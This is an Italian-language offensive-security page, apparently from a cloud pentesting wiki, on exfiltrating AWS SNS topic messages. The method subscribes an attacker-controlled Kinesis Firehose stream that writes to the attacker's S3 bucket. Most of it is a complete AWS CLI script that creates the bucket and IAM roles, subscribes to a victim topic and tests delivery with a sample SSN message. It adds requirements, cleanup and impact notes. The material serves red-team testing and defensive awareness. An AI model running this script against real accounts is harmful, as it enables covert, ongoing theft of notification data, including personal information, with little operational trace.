AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3)

Reading time: 4 minutes

Abusa del protocollo di subscription di Firehose per registrare un Kinesis Data Firehose delivery stream controllato dall'attaccante su un topic SNS standard della vittima. Una volta che la subscription è in atto e il ruolo IAM richiesto si fida di sns.amazonaws.com, ogni futura notifica viene scritta in modo duraturo nel bucket S3 dell'attaccante con rumore minimo.

Requisiti

• Permessi nell'account dell'attaccante per creare un bucket S3, un Firehose delivery stream e il ruolo IAM usato da Firehose (firehose:*, iam:CreateRole, iam:PutRolePolicy, s3:PutBucketPolicy, ecc.).
• La possibilità di eseguire sns:Subscribe al topic della vittima (e opzionalmente sns:SetSubscriptionAttributes se l'ARN del ruolo della subscription viene fornito dopo la creazione).
• Una topic policy che permetta al principal dell'attaccante di sottoscrivere (o l'attaccante opera già nello stesso account).

Attack Steps (same-account example)

REGION=us-east-1
ACC_ID=$(aws sts get-caller-identity --query Account --output text)
SUFFIX=$(date +%s)

# 1) Create attacker S3 bucket and Firehose delivery stream
ATTACKER_BUCKET=ht-firehose-exfil-$SUFFIX
aws s3 mb s3://$ATTACKER_BUCKET --region $REGION

STREAM_NAME=ht-firehose-stream-$SUFFIX
FIREHOSE_ROLE_NAME=FirehoseAccessRole-$SUFFIX

# Role Firehose assumes to write into the bucket
aws iam create-role --role-name "$FIREHOSE_ROLE_NAME" --assume-role-policy-document '{
"Version": "2012-10-17",
"Statement": [{"Effect": "Allow","Principal": {"Service": "firehose.amazonaws.com"},"Action": "sts:AssumeRole"}]
}'

cat > /tmp/firehose-s3-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:AbortMultipartUpload","s3:GetBucketLocation","s3:GetObject","s3:ListBucket","s3:ListBucketMultipartUploads","s3:PutObject"],"Resource":["arn:aws:s3:::$ATTACKER_BUCKET","arn:aws:s3:::$ATTACKER_BUCKET/*"]}]}
JSON
aws iam put-role-policy --role-name "$FIREHOSE_ROLE_NAME" --policy-name AllowS3Writes --policy-document file:///tmp/firehose-s3-policy.json

aws firehose create-delivery-stream \
--delivery-stream-name "$STREAM_NAME" \
--delivery-stream-type DirectPut \
--s3-destination-configuration RoleARN=arn:aws:iam::$ACC_ID:role/$FIREHOSE_ROLE_NAME,BucketARN=arn:aws:s3:::$ATTACKER_BUCKET \
--region $REGION >/dev/null

# 2) IAM role SNS assumes when delivering into Firehose
SNS_ROLE_NAME=ht-sns-to-firehose-role-$SUFFIX
aws iam create-role --role-name "$SNS_ROLE_NAME" --assume-role-policy-document '{
"Version": "2012-10-17",
"Statement": [{"Effect": "Allow","Principal": {"Service": "sns.amazonaws.com"},"Action": "sts:AssumeRole"}]
}'

cat > /tmp/allow-firehose.json <<JSON
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["firehose:PutRecord","firehose:PutRecordBatch"],"Resource":"arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME"}]}
JSON
aws iam put-role-policy --role-name "$SNS_ROLE_NAME" --policy-name AllowFirehoseWrites --policy-document file:///tmp/allow-firehose.json

SNS_ROLE_ARN=arn:aws:iam::$ACC_ID:role/$SNS_ROLE_NAME

# 3) Subscribe Firehose to the victim topic
TOPIC_ARN=<VICTIM_TOPIC_ARN>
aws sns subscribe \
--topic-arn "$TOPIC_ARN" \
--protocol firehose \
--notification-endpoint arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME \
--attributes SubscriptionRoleArn=$SNS_ROLE_ARN \
--region $REGION

# 4) Publish test message and confirm arrival in S3
aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --region $REGION
sleep 90
aws s3 ls s3://$ATTACKER_BUCKET/ --recursive

Pulizia

• Elimina la SNS subscription, il Firehose delivery stream, i ruoli/policy IAM temporanei e l'attacker S3 bucket.

Impatto

Impatto potenziale: Exfiltration continua e duratura di ogni messaggio pubblicato nel SNS topic mirato verso attacker-controlled storage con un footprint operativo minimo.